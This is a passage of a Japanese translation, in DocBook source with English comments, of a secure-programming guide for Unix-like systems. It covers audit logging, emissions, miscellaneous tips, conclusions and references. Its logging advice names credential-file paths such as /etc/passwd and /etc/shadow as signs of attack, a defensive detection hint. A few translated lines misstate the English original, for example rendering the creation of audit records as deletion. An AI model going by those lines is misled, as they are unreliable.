たとえば、攻撃者が改行を埋め込むと、好みのログを改行とともに入れることで、ログ
の記録をねつ造できます。
ひどい話ですが、これらの文字のエスケープは、標準規格に沿っていないようです。
私は URL エスケープが好みですが(%hh の hh はエスケープするバイトの 16 進値
です)、C の規格をはじめとして、他のエスケープが存在します(\ooo は 8 進値で 
\X は X には特別な符号が入ります。たとえば \n は改行です)。
また、キャレットを使ったしくみ(^I は control-I です)もありますが、127 より
大きなバイト値はうまく扱えません。

</para>

<para>
<!--
There is the danger that a user could create a denial-of-service attack
(or at least stop auditing)
by performing a very large number of events that cut an audit record until
the system runs out of resources to store the records.
One approach to counter to this threat is to rate-limit audit record
recording; intentionally slow down the response rate
if ``too many'' audit records are being cut.
You could try to slow the response rate only to the suspected attacker,
but in many
situations a single attacker can masquerade as potentially many users.
-->
ユーザがサービス拒否攻撃(もしくは少なくとも監査の停止)を引き起こす危険性
があります。その攻撃は、監査履歴を削除する多量のイベントを発生することで、
システムが記録を保存するリソースを食い潰します。
この攻撃に対する対処方法の 1 つは、監査記録する速度に制限を設けることです。
意図的に反応速度を遅くし、「あまりに多くの」監査記録があれば削除します。
攻撃の疑いがあるものに対してだけ、反応速度を遅くするようにしてください。
しかし、単独の攻撃者が複数ユーザであるかのごとく装っているケースがよく
あります。
</para>

<para>
<!--
Selecting what is ``suspicious activity'' is, of course, dependent on
what the program does and its anticipated use.
Any input that fails the filtering checks discussed earlier is
certainly a candidate (e.g., containing NIL).
Inputs that could not result from normal use should probably be logged,
e.g., a CGI program where certain required fields are missing
in suspicious ways.
Any input with phrases like /etc/passwd or /etc/shadow
or the like is very suspicious in many cases.
Similarly, trying to access Windows ``registry'' files or .pwl files
is very suspicious.
-->
もちろん何が「不審な動作」なのかを選択するのは、プログラムの動作と予定して
いた使い方に左右されます。
以前論じた入力のフィルタチェックに引っかかったケースは、この対象となります
(たとえば、NIL が入った)。
通常利用に由来しない入力は、おそらくログを採った方がよいでしょう。
たとえば、必須のフィールドがある CGI プログラムが怪しげに失敗する等。
/etc/passwd や /etc/shadow のような書式は、怪しいケースがたくさんあります。
同様に Windows の「レジストリ」ファイルや .pwl ファイルにアクセスしようと
するのも不審です。
</para>

<para>
<!--
Do not record passwords in an audit record.
Often people accidentally enter passwords for a different system,
so recording a password may allow a system administrator to break into a
different computer outside the administrator's domain.
-->
監査履歴にパスワードを記録しないでください。
誤って、別のシステムにパスワードを入れてしまう場合がよくあります。そうすると、
パスワードの記録があるシステムの管理者に、管轄外の別のコンピュータへの侵入を
認めることになるかもしれません。
</para>
</sect1>

<sect1 id="physical-emissions">
<!-- <title>Physical Emissions</title> -->
<title>物理的な漏洩</title>
<para>
<!--
Although it's really outside the scope of this book, it's
important to remember that computing and communications equipment leaks a lot
information that makes them hard to really secure.
Many people are aware of TEMPEST requirements which deal with
radio frequency emissions of computers, displays, keyboards, and other
components which can be eavesdropped.
Displays can also be eavesdropped, even if it's bounced off an
office wall at great distance
[Kuhn 2002].
Modem lights are also enough to determine the underlying communication.
-->
このドキュメントの範疇を越えた話題ですが、コンピュータと通信機器はたくさんの
情報を漏らしていることを忘れないでください。この漏洩を本当に安全なものとする
のは困難です。
電磁波盗聴に必要なものを知っている人はたくさんいます。コンピュータや
ディスプレイ、キーボード、その他盗聴できる部品が放出する高周波を扱うものです。
ディスプレイは、遠く離れたオフィスの壁に反射したものでも盗聴可能です
[Kuhn 2002]。
モデムのライトで通信が行われていることは十分にわかります。
</para>
</sect1>

<sect1 id="miscellaneous">
<!-- <title>Miscellaneous</title> -->
<title>その他</title>

<para>
<!--
The following are miscellaneous security guidelines that I couldn't
seem to fit anywhere else:
-->
下記の内容は、セキュリティ・ガイドラインなのですが、何処にも分類できない
ものです。
</para>

<para>
<!--
Have your program check at least some of its assumptions before it uses them
(e.g., at the beginning of the program).
For example, if you depend on the ``sticky'' bit being set on a given
directory, test it; such tests take little time and could prevent
a serious problem.
If you worry about the execution time of some tests on each call, at least
perform the test at installation time, or even better at least
perform the test on application start-up.
-->
少なくとも前提条件の一部は、プログラムで事前にチェックしてください(たとえば、
プログラムが開始されるところで)。
たとえば、あるディレクトリで「sticky」ビットが立っていることを前提にしている
なら、本当にそうなっているかをテストしてください。そのようなテストには時間は
かかりませんし、それによって深刻な問題を防げるはずです。
もしそれぞれの呼び出しでテスト実行時間がかかることが気になるなら、せめて
インストール時に行うようにしてください。アプリケーション起動時に行うと
さらに良いです。
</para>

<para>
<!--
If you have a built-in scripting language, it may be possible for the
language to set an environment variable which adversely affects the
program invoking the script.
Defend against this.
-->
組み込みでスクリプト言語を使っているなら、その言語が環境変数を設定して、
スクリプトから実行されるプログラムに悪影響を与えるかもしれません。
これは防いでください。
</para>

<para>
<!--
If you need a complex configuration language,
make sure the language has a comment
character and include a number of commented-out secure examples.
Often '&num;' is used for commenting, meaning ``the rest
of this line is a comment''.
-->
複雑な設定用言語が必要なら、その言語にコメント文字があり、コメントアウト
した安全な例がたくさんあるようにしてください。
「&num;」はコメントとしてよく使われますが、これは「この行の残りはコメント」
を意味します。
</para>

<para>
<!--
If possible, don't create setuid or setgid root programs;
make the user log in as root instead.
-->
なるべく root に setuid や setgid したプログラムを作成しないでください。
かわりに、ユーザには root でログインするようにさせてください。
</para>

<para>
<!--
Sign your code. That way, others can check to see if what's available
was what was sent.
-->
コードに電子署名をしてください。利用者は送られてきたものが利用できるものか
どうかをチェックできます。
</para>

<para>
<!--
Consider statically linking secure programs.
This counters attacks on the dynamic link library mechanism
by making sure that the secure programs don't use it.
There are several downsides to this however.
This is likely to increase disk and memory use (from multiple copies of the
same routines).
Even worse, it makes updating of libraries
(e.g., for security vulnerabilities) more difficult - in most systems
they won't be automatically updated and have to be tracked and
implemented separately.
-->
安全性が求められるプログラムを作成する場合は、静的にリンクを行うことを検討して
みてください。
安全性が求められるプログラムが動的リンクを使わないようにすれば、動的なライブ
ラリのリンク機能を狙った攻撃に対抗できます。
しかしこの方法には欠点もあります。
使用するディスクやメモリが増える傾向にあります(同じルーチンを複数個コピー
するからです)。
さらに悪いのは、ライブラリの更新(たとえば、セキュリティの脆弱性を防ぐため)
が面倒になるなる点です。たいていのシステムでは自動的には更新できず、独自に
更新を追いかけて実装するしかありません。
</para>

<para>
<!--
When reading over code, consider all the cases where a match is not made.
For example, if there is a switch statement, what happens when none of the
cases match?
If there is an ``if'' statement, what happens when the condition is false?
-->
コードを眺めている時には、条件にマッチしないケースすべてを検討してください。
たとえば switch 文があった場合、どのケースにもマッチしなかった場合どうなる
のか？ 「if」文があれば条件が偽になった場合にどうなるのか？などなど。
</para>

<para>
<!--
Merely ``removing'' a file doesn't eliminate the file's data from a disk;
on most systems this simply marks the content as ``deleted'' and makes it
eligible for later reuse, and often data is at least temporarily stored
in other places (such as memory, swap files, and temporary files).
Indeed, against a determined attacker, writing over the data isn't enough.
A classic paper on the problems of erasing magnetic media is
Peter Gutmann's paper
<ulink url="http://www-tac.cisco.com/Support_Library/field_alerts/fn13070.html">
``Secure Deletion of Data from Magnetic and Solid-State Memory''</ulink>.
A determined adversary can use other means, too, such as monitoring
electromagnetic emissions from computers (military systems have to obey
TEMPEST rules to overcome this)
and/or surreptitious attacks (such as monitors hidden in keyboards).
-->
単にファイルを「削除」しても、ディスクからファイルのデータは除去されません。
システムの多くは、ただ「削除した」印をつけ、後で再利用できるようにします。
またデータが一時的に他の所に置かれている場合もよくあります(メモリや swap 
ファイル、テンポラリ・ファイルとして)。
実際、しつこい攻撃者に対抗するには、データの上書きでは十分ではありません。
磁気メディアを消去する上での問題については、古典的なドキュメントである
Peter Gutmann 氏の 
<ulink url="http://www-tac.cisco.com/Support_Library/field_alerts/fn13070.html">
「Secure Deletion of Data from Magnetic and Solid-State Memory」</ulink>
があります。
しつこい攻撃者は、別の手段を使うこともできます。たとえば、コンピュータから放出
される電磁波を監視したり(軍事システムは、電磁波盗聴規則に従い、これに対抗
しています)、秘密裏に攻撃をかけます(キーボードに隠した監視装置等)。
</para>

<para>
<!--
When fixing a security vulnerability,
consider adding a ``warning'' to detect and log an attempt to
exploit the (now fixed) vulnerability.
This will reduce the likelihood of an attack, especially if there's
no way for an attacker to predetermine if the attack will work,
since it exposes an attack in progress.
In short, it turns a vulnerability into an intrusion detection system.
This also suggests that exposing the version of a server program
before authentication is usually a bad idea for security, since doing so
makes it easy for an attacker to only use attacks that would work.
Some programs make it possible for users to intentionally ``lie'' about their
version, so that attackers will use the ``wrong attacks'' and be detected.
Also, if the vulnerability can be triggered over a network, please make
sure that security scanners can detect the vulnerability.
I suggest contacting Nessus
(<ulink url="http://www.nessus.org">http://www.nessus.org</ulink>)
and make sure that their open source security scanner can detect the
problem.
That way, users who don't check their software for upgrades
will at least learn about the problem during their security vulnerability
scans (if they do them as they should).
-->
セキュリティ上の脆弱性を修正する時には、「警告」の追加を考慮し、(今修正した)
脆弱性を侵そうとする試みを検知し、そのログを取るようにしてください。
こうすることで、攻撃の機会を減らします。攻撃が進行していることがあらわになる
ことで、特に攻撃者が攻撃できるかどうか、事前に調べる方法がなくなります。
つまり、脆弱性が侵入検知システムになるわけです。
これは、認証以前にサーバプログラムのバージョンを公開すると、セキュリティ上
好ましくないことも示しています。公開してしまうと、攻撃者がそのバージョンで
動作する攻撃に絞ってやすやすと攻撃できるからです。
プログラムには、ユーザに対して故意にバージョンを「偽る」ことができるものが
あります。そうすると攻撃者は「間違った」攻撃をすることになり、攻撃を検出でき
ます。
脆弱性はネットワークで起きるので、必ずセキュリティ・スキャナで脆弱性を検知
できるようにしてください。
Nessus(<ulink url="http://www.nessus.org">http://www.nessus.org</ulink>)
と連絡をとって、彼らのオープンソースなセキュリティ・スキャナが問題を検出できる
かどうかを確かめてください。
そうすれば、ソフトウェア更新に無頓着なユーザは、セキュリティの脆弱性をスキャン
することで、問題を知ることになります(やるべきことをやるかもしれません)。
</para>

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ??? maybe someday add Logging discussion -->

<para>
<!--
Every once in a while, review security guidelines like this one.
At least re-read the conclusions in <xref linkend="conclusion">,
and feel free to go back to the introduction
(<xref linkend="introduction">) and start again!
-->
時には、このドキュメントのようなセキュリティガイドラインをレビューして
ください。
せめて <xref linkend="conclusion"> にある結論は再読してください。
そして気楽に「はじめに」(<xref linkend="introduction">)に戻って、再読
しましょう。
</para>


</sect1>


</chapter>


<chapter id="conclusion">
<!-- <title>Conclusion</title> -->
<title>結論</title>

<epigraph>
<!-- <attribution>Ecclesiastes 7:8 (NIV)</attribution> -->
<attribution>旧約聖書 コヘレトの言葉 7 章 8 節(NIV)</attribution>
<para>
<!--
The end of a matter is better than its beginning, and
patience is better than pride.
-->
事の終わりは始めにまさる。
気位が高いよりも気が長いのがよい。
</para>
</epigraph>

<para>
<!--
Designing and implementing a truly secure program
is actually a difficult task on Unix-like systems such as Linux and Unix.
The difficulty is that a truly secure program must respond
appropriately to all possible inputs and environments
controlled by a potentially hostile user.
Developers of secure programs must deeply understand their platform,
seek and use guidelines (such as these), and then use assurance
processes (such as peer review) to reduce their programs' vulnerabilities.
-->
Linux や Unix のような Unix ライクなシステムで、完璧に安全なプログラムを
設計・実装するのは、実際とても難しいことです。
完璧に安全なプログラムが難しい理由は、考えられる入力すべてに適切に対応し、
敵意を持っているかもしれないユーザが制御している環境に対しても、同様に対応
しなければならない点にあります。
安全性が求められるプログラムの開発者は、使用しているプラットフォームについて
深く理解し、ガイドライン(このドキュメント等)を調べて適用し、品質を上げる
プロセスを設けて(ピア・レビュー等)、プログラムの脆弱なところを減らして行く
必要があります。
</para>

<para>
<!-- In conclusion, here are some of the key guidelines in this book: -->
ここでは結論として、このドキュメントで鍵となるガイドラインをいくつか
あげておきます。
<itemizedlist>
<listitem>

<para>
<!--
Validate all your inputs, including command line inputs,
environment variables, CGI inputs, and so on.
Don't just reject ``bad'' input; define what is an ``acceptable'' input
and reject anything that doesn't match.
-->
入力をすべて検証してください。入力にはコマンドラインの入力や環境変数、CGI 
からの入力があります。
「不正な」入力をただ拒否しないでください。何が「受け入れられる」入力なのか
を定義して、マッチしないものを拒否してください。
</para>
</listitem>
<listitem>

<para>
<!--
Avoid buffer overflow.
Make sure that long inputs (and long intermediate data values) can't
be used to take over your program.
This is the primary programmatic error at this time.
-->
バッファオーバーフローを避けてください。
プログラムが長い入力(と長い中間データ値)で絶対乗っ取られないようにして
ください。
現時点では、プログラミングでのエラーの代表格です。
</para>
</listitem>
<listitem>

<para>
<!--
Structure Program Internals.
Secure the interface, minimize privileges, make the initial configuration
and defaults safe, and fail safe.
Avoid race conditions (e.g., by safely opening any files in a shared
directory like /tmp).
Trust only trustworthy channels
(e.g., most servers must not trust their clients for security checks or
other sensitive data such as an item's price in a purchase).
-->
プログラムの内部構成をきちんとしてください。
インタフェースを安全にして、特権を最少にし、初期設定とデフォルトを安全にし、
フェイル・セーフにしてください。
競合状態を回避してください(たとえば、/tmp のような共有ディレクトリで安全に
ファイルをオープンする)。
信頼に足る経路だけを信じてください(たとえば、ほとんどのサーバは、セキュリティ
チェックや買い入れ価格のような機密データ類で、クライアントを信頼してはいけ
ません)。
</para>
</listitem>
<listitem>

<para>
<!--
Carefully call out to other resources.
Limit their values to valid values (in particular be concerned about
metacharacters), and check all system call return values.
-->
注意深く他のリソースを呼び出してください。
値を適切なものに制限し(特にメタキャラクタ関連)、システムコールの返り値
は、すべてチェックしてください。
</para>
</listitem>
<listitem>

<para>
<!--
Reply information judiciously.
In particular, minimize feedback, and handle full or unresponsive output
to an untrusted user.
-->
慎重に情報を返してください。
特に信頼できないユーザに対しては、フィードバックは最小限にし、出力が溢れて
いたり、反応が遅い場合にも対処してください。
</para>
</listitem>

</itemizedlist>

</para>

</chapter>

<chapter id="bibliography">
<!-- <title>Bibliography</title> -->
<title>参考文献</title>

<epigraph>
<!-- <attribution>Ecclesiastes 12:11-12 (NIV)</attribution> -->
<attribution>旧約聖書 コヘレトの言葉 12 章 11、12 節(NIV)</attribution>
<para>
<!--
The words of the wise are like goads, their collected sayings like
firmly embedded nails&#045;&#045;given by one Shepherd. 
Be warned, my son, of anything in addition to them.
Of making many books there is no end, and much study wearies the body.
-->
賢者の言葉はすべて、突き棒や釘。
ただひとりの牧者に由来し、収集家が編集した。
それよりもなお、わが子よ、心せよ。
書物はいくら記してもきりがない。
学びすぎれば体が疲れる。
</para>
</epigraph>

<para>
<!--
<emphasis remap="it">Note that there is a heavy
emphasis on technical articles available on the web, since this is where
most of this kind of technical information is available.</emphasis>
-->
<emphasis remap="it">Web で利用できる技術的な論文があることを特に強調
している点に注目してください。Web でこの種の技術情報の大部分が利用できます。
</emphasis>
</para>

<para>
[Advosys 2000]
Advosys Consulting
(formerly named Webber Technical Services).
<emphasis remap="it">Writing Secure Web Applications</emphasis>.
<ulink url="http://advosys.ca/tips/web-security.html">http://advosys.ca/tips/web-security.html</ulink>
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- was http://www.webbertech.com/tips/web-security.html -->
</para>

<para>
[Al-Herbish 1999]
Al-Herbish, Thamer.
1999.
<emphasis remap="it">Secure Unix Programming FAQ</emphasis>.
<ulink
url="http://www.whitefang.com/sup">http://www.whitefang.com/sup</ulink>.
</para>

<para>
[Aleph1 1996] 
Aleph1.
November 8, 1996.
``Smashing The Stack For Fun And Profit''.
<emphasis remap="it">Phrack Magazine</emphasis>.
Issue 49, Article 14.
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ???: may need to double-escape the ampersand here. -->
<ulink
url="http://www.phrack.com/search.phtml?view&amp;article=p49-14">http://www.phrack.com/search.phtml?view&amp;article=p49-14</ulink>
or alternatively
<ulink
url="http://www.2600.net/phrack/p49-14.html">http://www.2600.net/phrack/p49-14.html</ulink>.
</para>

<para>
[Anonymous 1999]
Anonymous.
October 1999.
Maximum Linux Security:
A Hacker's Guide to Protecting Your Linux Server and Workstation
Sams.
ISBN: 0672316706.
</para>

<para>
[Anonymous 1998]
Anonymous.
September 1998.
Maximum Security : A Hacker's Guide to Protecting Your
Internet Site and Network.
Sams.
Second Edition.
ISBN: 0672313413.
</para>

<para>
[AUSCERT 1996]
Australian Computer Emergency Response Team (AUSCERT) and O'Reilly.
May 23, 1996 (rev 3C).
<emphasis remap="it">A Lab Engineers Check List for Writing Secure Unix Code</emphasis>.
<ulink
url="ftp://ftp.auscert.org.au/pub/auscert/papers/secure_programming_checklist">ftp://ftp.auscert.org.au/pub/auscert/papers/secure_programming_checklist</ulink>
</para>

<para>
[Bach 1986]
Bach, Maurice J.
1986.
<emphasis remap="it">The Design of the Unix Operating System</emphasis>.
Englewood Cliffs, NJ: Prentice-Hall, Inc.
ISBN 0-13-201799-7 025.
</para>

<para>
[Bellovin 1989]
Bellovin, Steven M.
April 1989. 
"Security Problems in the TCP/IP Protocol Suite"
Computer Communications Review 2:19, pp. 32-48.
<ulink
url="http://www.research.att.com/~smb/papers/ipext.pdf">http://www.research.att.com/~smb/papers/ipext.pdf</ulink>
</para>

<para>
[Bellovin 1994]
Bellovin, Steven M.
December 1994.
<emphasis remap="it">Shifting the Odds -- Writing (More) Secure Software</emphasis>.
Murray Hill, NJ: AT&amp;T Research.
<ulink
url="http://www.research.att.com/~smb/talks">http://www.research.att.com/~smb/talks</ulink>
</para>

<para>
[Bishop 1996]
Bishop, Matt.
May 1996.
``UNIX Security: Security in Programming''.
<emphasis remap="it">SANS '96</emphasis>. Washington DC (May 1996).
<ulink
url="http://olympus.cs.ucdavis.edu/~bishop/secprog.html">http://olympus.cs.ucdavis.edu/~bishop/secprog.html</ulink>
</para>

<para>
[Bishop 1997]
Bishop, Matt.
October 1997.
``Writing Safe Privileged Programs''.
<emphasis remap="it">Network Security 1997</emphasis>
New Orleans, LA.
<ulink
url="http://olympus.cs.ucdavis.edu/~bishop/secprog.html">http://olympus.cs.ucdavis.edu/~bishop/secprog.html</ulink>
</para>

<para>
[Blaze 1996]
Blaze, Matt, Whitfield Diffie, Ronald L. Rivest, Bruce Schneier,
Tsutomu Shimomura, Eric Thompson, and Michael Wiener.
January 1996.
``Minimal Key Lengths for Symmetric Ciphers to Provide
Adequate Commercial Security:
A Report by an Ad Hoc Group of Cryptographers and Computer Scientists.''
<ulink url="ftp://ftp.research.att.com/dist/mab/keylength.txt">
ftp://ftp.research.att.com/dist/mab/keylength.txt</ulink> and
<ulink url="ftp://ftp.research.att.com/dist/mab/keylength.ps">ftp://ftp.research.att.com/dist/mab/keylength.ps</ulink>.
</para>

<para>
[CC 1999]
<emphasis remap="it">The Common Criteria for Information Technology Security Evaluation
(CC)</emphasis>.
August 1999.
Version 2.1.
Technically identical to International Standard ISO/IEC 15408:1999.
<ulink
url="http://csrc.nist.gov/cc/ccv20/ccv2list.htm">http://csrc.nist.gov/cc/ccv20/ccv2list.htm</ulink>
</para>

<para>
[CERT 1998]
Computer Emergency Response Team (CERT) Coordination Center (CERT/CC).
February 13, 1998.
<emphasis remap="it">Sanitizing User-Supplied Data in CGI Scripts</emphasis>.
CERT Advisory CA-97.25.CGI&lowbar;metachar.
<ulink
url="http://www.cert.org/advisories/CA-97.25.CGI_metachar.html">http://www.cert.org/advisories/CA-97.25.CGI_metachar.html</ulink>.
</para>

<para>
[Clowes 2001]
Clowes, Shaun.
2001.
``A Study In Scarlet - Exploiting Common Vulnerabilities in PHP''
<ulink url="http://www.securereality.com.au/archives.html">http://www.securereality.com.au/archives.html</ulink>
</para>


<para>
[CMU 1998]
Carnegie Mellon University (CMU).
February 13, 1998
Version 1.4.
``How To Remove Meta-characters From User-Supplied Data In CGI Scripts''.
<ulink
url="ftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters">ftp://ftp.cert.org/pub/tech_tips/cgi_metacharacters</ulink>.
</para>

<para>
[Cowan 1999]
Cowan, Crispin, Perry Wagle, Calton Pu, Steve Beattie, and
Jonathan Walpole.
``Buffer Overflows: Attacks and Defenses for the Vulnerability
of the Decade''.
Proceedings of DARPA Information Survivability Conference and Expo (DISCEX),
<ulink
url="http://schafercorp-ballston.com/discex">http://schafercorp-ballston.com/discex</ulink>
SANS 2000.
<ulink
url="http://www.sans.org/newlook/events/sans2000.htm">http://www.sans.org/newlook/events/sans2000.htm</ulink>.
For a copy, see
<ulink
url="http://immunix.org/documentation.html">http://immunix.org/documentation.html</ulink>.
</para>

<para>
[Cox 2000]
Cox, Philip.
March 30, 2001.
Hardening Windows 2000.
<ulink url="http://www.systemexperts.com/win2k/hardenW2K11.pdf">http://www.systemexperts.com/win2k/hardenW2K11.pdf</ulink>.
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- http://www.systemexperts.com/win2k.shtml -->
</para>

<para>
[Dobbertin 1996].
Dobbertin, H.
1996.
The Status of MD5 After a Recent Attack.
RSA Laboratories' CryptoBytes.
Vol. 2, No. 2.
</para>

<para>
[Felten 1997]
Edward W. Felten, Dirk Balfanz, Drew Dean, and Dan S. Wallach.
Web Spoofing: An Internet Con Game
Technical Report 540-96 (revised Feb. 1997)
Department of Computer Science, Princeton University
<ulink url="http://www.cs.princeton.edu/sip/pub/spoofing.pdf">
http://www.cs.princeton.edu/sip/pub/spoofing.pdf
</ulink>
</para>


<para>
[Fenzi 1999]
Fenzi, Kevin, and Dave Wrenski.
April 25, 1999.
<emphasis remap="it">Linux Security HOWTO</emphasis>.
Version 1.0.2.
<ulink
url="http://www.linuxdoc.org/HOWTO/Security-HOWTO.html">http://www.linuxdoc.org/HOWTO/Security-HOWTO.html</ulink>
</para>

<para>
[FHS 1997]
Filesystem Hierarchy Standard (FHS 2.0).
October 26, 1997.
Filesystem Hierarchy Standard Group, edited by Daniel Quinlan.
Version 2.0.
<ulink
url="http://www.pathname.com/fhs">http://www.pathname.com/fhs</ulink>.
</para>

<para>
[Filipski 1986]
Filipski, Alan and James Hanko.
April 1986.
``Making Unix Secure.''
Byte (Magazine).
Peterborough, NH: McGraw-Hill Inc.
Vol. 11, No. 4.
ISSN 0360-5280.
pp. 113-128.
</para>

<para>
[Flake 2001]
Flake, Havlar.
Auditing Binaries for Security Vulnerabilities.
<ulink url="http://www.blackhat.com/html/win-usa-01/win-usa-01-speakers.html">http://www.blackhat.com/html/win-usa-01/win-usa-01-speakers.html</ulink>.
</para>

<para>
[FOLDOC]
Free On-Line Dictionary of Computing.
<ulink
url="http://foldoc.doc.ic.ac.uk/foldoc/index.html">
http://foldoc.doc.ic.ac.uk/foldoc/index.html</ulink>.
</para>

<para>
[Forristal 2001]
Forristal, Jeff, and Greg Shipley.
January 8, 2001.
Vulnerability Assessment Scanners.
Network Computing.
<ulink url="http://www.nwc.com/1201/1201f1b1.html">http://www.nwc.com/1201/1201f1b1.html</ulink>
</para>

<para>
[FreeBSD 1999]
FreeBSD, Inc.
1999.
``Secure Programming Guidelines''.
<emphasis remap="it">FreeBSD Security Information</emphasis>.
<ulink
url="http://www.freebsd.org/security/security.html">http://www.freebsd.org/security/security.html</ulink>
</para>

<para>
[FSF 1998]
Free Software Foundation.
December 17, 1999.
<emphasis remap="it">Overview of the GNU Project</emphasis>.
<ulink
url="http://www.gnu.ai.mit.edu/gnu/gnu-history.html">http://www.gnu.ai.mit.edu/gnu/gnu-history.html</ulink>
</para>

<para>
[FSF 1999]
Free Software Foundation.
January 11, 1999.
<emphasis remap="it">The GNU C Library Reference Manual</emphasis>.
Edition 0.08 DRAFT, for Version 2.1 Beta of the GNU C Library. 
Available at, for example,
<ulink url="http://www.netppl.fi/~pp/glibc21/libc_toc.html">http://www.netppl.fi/~pp/glibc21/libc_toc.html</ulink>
</para>

<para>
Fu, Kevin, Emil Sit, Kendra Smith, and Nick Feamster.
August 2001.
``Dos and Don'ts of Client Authentication on the Web''.
Proceedings of the 10th USENIX Security Symposium,
Washington, D.C., August 2001.
<ulink url="http://cookies.lcs.mit.edu/pubs/webauth.html">
http://cookies.lcs.mit.edu/pubs/webauth.html</ulink>.
</para>

<para>
[Gabrilovich 2002]
Gabrilovich, Evgeniy, and Alex Gontmakher.
February 2002.
``Inside Risks: The Homograph Attack''.
Communications of the ACM.
Volume 45, Number 2.
Page 128.

</para>

<para>
[Galvin 1998a]
Galvin, Peter.
April 1998.
``Designing Secure Software''.
<emphasis remap="it">Sunworld</emphasis>.
<ulink
url="http://www.sunworld.com/swol-04-1998/swol-04-security.html">http://www.sunworld.com/swol-04-1998/swol-04-security.html</ulink>.
</para>

<para>
[Galvin 1998b]
Galvin, Peter.
August 1998.
``The Unix Secure Programming FAQ''.
<emphasis remap="it">Sunworld</emphasis>.
<ulink
url="http://www.sunworld.com/sunworldonline/swol-08-1998/swol-08-security.html">http://www.sunworld.com/sunworldonline/swol-08-1998/swol-08-security.html</ulink>
</para>

<para>
[Garfinkel 1996]
Garfinkel, Simson and Gene Spafford.
April 1996.
<emphasis remap="it">Practical UNIX &amp; Internet Security, 2nd Edition</emphasis>.
ISBN 1-56592-148-8.
Sebastopol, CA: O'Reilly &amp; Associates, Inc. 
<ulink
url="http://www.oreilly.com/catalog/puis">http://www.oreilly.com/catalog/puis</ulink>
</para>

<para>
[Garfinkle 1997]
Garfinkle, Simson.
August 8, 1997.
21 Rules for Writing Secure CGI Programs.
<ulink url="http://webreview.com/wr/pub/97/08/08/bookshelf">
http://webreview.com/wr/pub/97/08/08/bookshelf</ulink>
</para>

<para>
[Gay 2000]
Gay, Warren W.
October 2000.
Advanced Unix Programming.
Indianapolis, Indiana: Sams Publishing.
ISBN 0-67231-990-X.
</para>

<para>
[Geodsoft 2001]
Geodsoft.
February 7, 2001.
Hardening OpenBSD Internet Servers.
<ulink url="http://www.geodsoft.com/howto/harden">http://www.geodsoft.com/howto/harden</ulink>.
</para>


<para>
[Graham 1999]
Graham, Jeff.
May 4, 1999.
<emphasis remap="it">Security-Audit's Frequently Asked Questions (FAQ)</emphasis>.
<ulink
url="http://lsap.org/faq.txt">http://lsap.org/faq.txt</ulink>
</para>

<para>
[Gong 1999]
Gong, Li.
June 1999.
<emphasis remap="it">Inside Java 2 Platform Security</emphasis>.
Reading, MA: Addison Wesley Longman, Inc.
ISBN 0-201-31000-7.
</para>

<para>
[Gundavaram Unknown]
Gundavaram, Shishir, and Tom Christiansen.
Date Unknown.
<emphasis remap="it">Perl CGI Programming FAQ</emphasis>.
<ulink
url="http://language.perl.com/CPAN/doc/FAQs/cgi/perl-cgi-faq.html">http://language.perl.com/CPAN/doc/FAQs/cgi/perl-cgi-faq.html</ulink>
</para>

<para>
[Hall "Beej" 1999]
Hall, Brian "Beej".
Beej's Guide to Network Programming Using Internet Sockets.
13-Jan-1999.
Version 1.5.5.
<ulink url="http://www.ecst.csuchico.edu/~beej/guide/net">http://www.ecst.csuchico.edu/~beej/guide/net</ulink>
</para>

<para>
[ISO 12207]
International Organization for Standardization (ISO).
1995.
Information technology -- Software life cycle processes
ISO/IEC 12207:1995.
<!-- http://www.iso.ch/iso/en/CatalogueDetailPage.CatalogueDetail?CSNUMBER=21208&ICS1=35&ICS2=80&ICS3= -->
</para>

<para>
[ISO 13335]
International Organization for Standardization (ISO).
ISO/IEC TR 13335.
Guidelines for the Management of IT Security (GMITS).
<!-- This is a technical report, not a standard -->
Note that this is a five-part technical report (not a standard); see also
ISO/IEC 17799:2000.
It includes:
<itemizedlist>
<listitem><para>
         ISO 13335-1: Concepts and Models for IT Security
</para></listitem>
<listitem><para>
         ISO 13335-2: Managing and Planning IT Security
</para></listitem>
<listitem><para>
         ISO 13335-3: Techniques for the Management of IT Security
</para></listitem>
<listitem><para>
         ISO 13335-4: Selection of Safeguards
</para></listitem>
<listitem><para>
         ISO 13335-5: Safeguards for External Connections
</para></listitem>
</itemizedlist>
</para>

<para>
[ISO 17799]
International Organization for Standardization (ISO).
December 2000.
Code of Practice for Information Security Management.
ISO/IEC 17799:2000.
</para>

<para>
[ISO 9000]
International Organization for Standardization (ISO).
2000.
Quality management systems - Fundamentals and vocabulary.
ISO 9000:2000.
See
<ulink url="http://www.iso.ch/iso/en/iso9000-14000/iso9000/selection_use/iso9000family.html">
http://www.iso.ch/iso/en/iso9000-14000/iso9000/selection_use/iso9000family.html</ulink>
</para>

<para>
[ISO 9000]
International Organization for Standardization (ISO).
2000.
Quality management systems - Requirements
ISO 9001:2000
</para>

<para>
[Jones 2000]
Jones, Jennifer.
October 30, 2000.
``Banking on Privacy''.
InfoWorld, Volume 22, Issue 44.
San Mateo, CA: International Data Group (IDG).
pp. 1-12.
</para>

<para>
[Kelsey 1998]
Kelsey, J., B. Schneier, D. Wagner, and C. Hall.
March 1998.
"Cryptanalytic Attacks on Pseudorandom Number Generators."
Fast Software Encryption, Fifth International Workshop Proceedings
(March 1998), Springer-Verlag, 1998, pp. 168-188.
<ulink url="http://www.counterpane.com/pseudorandom_number.html">
http://www.counterpane.com/pseudorandom_number.html</ulink>.
</para>

<para>
[Kernighan 1988]
Kernighan, Brian W., and Dennis M. Ritchie.
1988.
<emphasis remap="it">The C Programming Language</emphasis>.
Second Edition.
Englewood Cliffs, NJ: Prentice-Hall.
ISBN 0-13-110362-8.
</para>

<para>
[Kim 1996]
Kim, Eugene Eric.
1996.
<emphasis remap="it">CGI Developer's Guide</emphasis>.
SAMS.net Publishing.
ISBN: 1-57521-087-8
<ulink
url="http://www.eekim.com/pubs/cgibook">http://www.eekim.com/pubs/cgibook</ulink>
</para>

<para>
[Kuchling 2000].
Kuchling, A.M.
2000.
Restricted Execution HOWTO.
<ulink url="http://www.python.org/doc/howto/rexec/rexec.html">http://www.python.org/doc/howto/rexec/rexec.html</ulink>
</para>

<para>
[Kuhn 2002]
Kuhn, Markus G.
Optical Time-Domain Eavesdropping Risks
of CRT displays.
Proceedings of the 2002 IEEE Symposium on Security and Privacy,
Oakland, CA, May 12-15, 2002.
